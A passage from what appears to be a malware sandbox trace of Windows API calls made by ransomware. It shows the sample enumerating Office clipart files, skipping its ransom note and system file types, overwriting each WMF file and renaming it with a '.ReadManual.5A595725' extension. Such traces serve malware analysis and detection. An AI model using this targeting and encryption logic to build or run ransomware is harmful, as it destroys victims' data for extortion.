lpString2="J0107130.WMF" | out: lpString1="J0107130.WMF") returned="J0107130.WMF" [0266.502] lstrcmpiW (lpString1="J0107130.WMF", lpString2="RecoveryManual.html") returned -1 [0266.502] StrStrIW (lpFirst="J0107130.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.503] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.503] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.503] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" [0266.503] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.ReadManual.5A595725" [0266.503] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.ReadManual.5A595725") returned 87 [0266.503] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38717180323) returned 1 [0266.503] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 0x20 [0266.504] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.504] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27084) returned 1 [0266.504] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x69cc, lpName=0x0) returned 0x184 [0266.505] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.505] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.505] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.507] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.507] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x69cc) returned 0x2f0000 [0266.507] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.508] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38717635666) returned 1 [0266.508] CloseHandle (hObject=0x184) returned 1 [0266.508] SetSecurityInfo () returned 0x57 [0266.508] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.508] CloseHandle (hObject=0x194) returned 1 [0266.508] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1 [0266.508] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107132.WMF" | out: lpString1="J0107132.WMF") returned="J0107132.WMF" [0266.508] lstrcmpiW (lpString1="J0107132.WMF", lpString2="RecoveryManual.html") returned -1 [0266.508] StrStrIW (lpFirst="J0107132.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.508] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.508] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.508] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" [0266.508] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.ReadManual.5A595725" [0266.509] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.ReadManual.5A595725") returned 87 [0266.509] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38717735105) returned 1 [0266.509] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 0x20 [0266.509] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.509] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=48380) returned 1 [0266.509] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbcfc, lpName=0x0) returned 0x184 [0266.509] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.510] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.510] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.512] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.512] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbcfc) returned 0x2f0000 [0266.513] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.513] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38718219583) returned 1 [0266.513] CloseHandle (hObject=0x184) returned 1 [0266.514] SetSecurityInfo () returned 0x57 [0266.514] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.514] CloseHandle (hObject=0x194) returned 1 [0266.514] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1 [0266.514] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107134.WMF" | out: lpString1="J0107134.WMF") returned="J0107134.WMF" [0266.514] lstrcmpiW (lpString1="J0107134.WMF", lpString2="RecoveryManual.html") returned -1 [0266.514] StrStrIW (lpFirst="J0107134.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.514] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.514] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.514] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" [0266.514] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.ReadManual.5A595725" [0266.514] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.ReadManual.5A595725") returned 87 [0266.514] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38718317760) returned 1 [0266.514] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 0x20 [0266.515] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.515] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=48388) returned 1 [0266.515] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbd04, lpName=0x0) returned 0x184 [0266.515] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.516] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.516] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.519] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.519] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbd04) returned 0x2f0000 [0266.520] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.520] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38718898665) returned 1 [0266.520] CloseHandle (hObject=0x184) returned 1 [0266.520] SetSecurityInfo () returned 0x57 [0266.520] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.520] CloseHandle (hObject=0x194) returned 1 [0266.521] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1 [0266.521] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107138.WMF" | out: lpString1="J0107138.WMF") returned="J0107138.WMF" [0266.521] lstrcmpiW (lpString1="J0107138.WMF", lpString2="RecoveryManual.html") returned -1 [0266.521] StrStrIW (lpFirst="J0107138.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.521] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.521] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.521] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" [0266.521] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.ReadManual.5A595725" [0266.521] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.ReadManual.5A595725") returned 87 [0266.521] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38718996311) returned 1 [0266.521] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 0x20 [0266.522] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.522] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17200) returned 1 [0266.522] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4330, lpName=0x0) returned 0x184 [0266.522] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.523] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.523] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.525] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.525] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4330) returned 0x2f0000 [0266.525] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.525] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38719414226) returned 1 [0266.525] CloseHandle (hObject=0x184) returned 1 [0266.525] SetSecurityInfo () returned 0x57 [0266.526] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.526] CloseHandle (hObject=0x194) returned 1 [0266.526] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1 [0266.526] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107146.WMF" | out: lpString1="J0107146.WMF") returned="J0107146.WMF" [0266.526] lstrcmpiW (lpString1="J0107146.WMF", lpString2="RecoveryManual.html") returned -1 [0266.526] StrStrIW (lpFirst="J0107146.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.526] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.526] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.526] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" [0266.526] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.ReadManual.5A595725" [0266.526] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.ReadManual.5A595725") returned 87 [0266.526] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38719510756) returned 1 [0266.526] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 0x20 [0266.527] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.527] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14996) returned 1 [0266.527] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a94, lpName=0x0) returned 0x184 [0266.527] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.527] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.528] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.529] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.529] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a94) returned 0x2f0000 [0266.530] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.530] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38719852010) returned 1 [0266.530] CloseHandle (hObject=0x184) returned 1 [0266.530] SetSecurityInfo () returned 0x57 [0266.530] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.530] CloseHandle (hObject=0x194) returned 1 [0266.530] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1 [0266.530] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107148.WMF" | out: lpString1="J0107148.WMF") returned="J0107148.WMF" [0266.530] lstrcmpiW (lpString1="J0107148.WMF", lpString2="RecoveryManual.html") returned -1 [0266.530] StrStrIW (lpFirst="J0107148.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.530] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.530] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.530] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.530] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.530] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.530] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.530] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.530] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.530] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.530] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.530] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.531] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.531] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.531] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.531] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" [0266.531] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft 